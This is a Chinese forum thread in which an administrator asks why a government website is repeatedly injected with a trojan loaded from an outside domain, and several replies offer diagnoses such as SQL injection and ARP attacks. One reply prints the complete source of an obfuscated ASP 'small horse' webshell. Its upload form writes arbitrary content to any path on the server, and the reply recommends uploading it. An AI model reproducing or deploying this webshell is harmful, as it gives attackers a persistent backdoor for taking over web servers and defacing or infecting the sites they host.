网站被xxx.18dmm.com挂马，怎么办？

[lineboy]

本单位网站被挂马，自动加载，xxx.18dmm.com的木马，重新覆盖本机的备份文件后，
过不了几天网站又被挂马，请大家分析一下，是什么原因？
网址：www.chenggu.gov.cn
谢谢!

[vaneonline]

不安全，有漏洞就给挂马了。。

[gynhe]

GOV...

[Duncan]

一种可能是 代码有问题
一种可能是 服务器有问题 前些日子流行的ARP漏洞

[feemoo888]

网站有SQL注入漏洞噢 可能是这么个进去的
仔细找找有没有已经留下asp马了，一般留 小马 hytop 还有加密的13
建议自己传一个马上去 然后用它带的查其它ASP马的搜索功能 找找 估计留了

下面是标准小马

<%@ language = vbscript.encode %> <meta http-equiv="content-type" content="text/html; charset=gb2312"><title>asp小马-by: ffff.</title><%#@~^hwaaaa==~9kh,w(lsurbwnmyc~k4%/kexdok^+p2qoaaa==^#~@%> <%#@~^fgaaaa==~kx~dmwd,ddes+~x6o~9wcaaa==^#~@%> <%#@~^qaaaaa==~u+o,w(lsur,xpu+.\d /m+ldnr(l+1ocjummk2yrutrok^n?h/onsr4%n1ye#,thyaaa==^#~@%> <%#@~^kqaaaa==~b0~:db:`m+$;+kycjkxw[aly4e#*@!@*re~y4+	pqgwaaa==^#~@%> <%#@~^hqaaaa==~6ncdl,'pm+$;+kycj1xw[9lyme#,mwkaaa==^#~@%> <%#@~^qgaaaa==~u+o,w(lzke	osbvn'k4%ourr;.+my+:naywk^+cdn5!+dyve/h0[2mytebbk.eb,drcaaa==^#~@%> <%#@~^ggaaaa==~k4%;w!xywk^nrqdrypw[myl,xqkaaa==^#~@%> <%#@~^sgaaaa==~b0~dmp'zpd4+	p.+kwguk+rs.kd+pr@!ww	y,mgvg.{dnn@*dl7+~j!mmndk"@!z6g	y@*rpmrgaaa==^#~@%> <%#@~^cwaaaa==~d.cm^+lmpvgmaaa==^#~@%> <%#@~^caaaaa==~x[,k6pzgiaaa==^#~@%> <%#@~^faaaaa==~k4%;w!xywk^nr;vg/pkacaaa==^#~@%> <%#@~^ggaaaa==~u+o,w(lzke	osbvn'gwo4bxo,zakaaa==^#~@%> <%#@~^fgaaaa==~u+o,w(lsur,xpgwotbxl~awcaaa==^#~@%> <%#@~^fwaaaa==./2kxk+rsdbo+,j@!4m@*eegcaaa==^#~@%> <%#@~^gaaaaa==./2kxk+rsdbo+,j本文件绝对路径elayaaa==^#~@%> <%=#@~^ngaaaa==dd-dc:lawmotvdn;!+doc/+m-+m\lmrc4^+k`e/^.bwo{	c:jbbshqaaa==^#~@%> <%#@~^fwaaaa==./2kxk+rsdbo+,j@!4m@*eegcaaa==^#~@%> <form method=post><input type=text name=syfdpath value=<%=#@~^gqaaaa==dd-dc:lawmotvj[khrcdaj#/qgaaa==^#~@%> size=60> 保存路径  
<textarea name=cyfddata cols=80 rows=10 width=32></textarea> <input type=submit value="保存"> </form>

[weiwei325]

看看安全日志，可能会有帮助。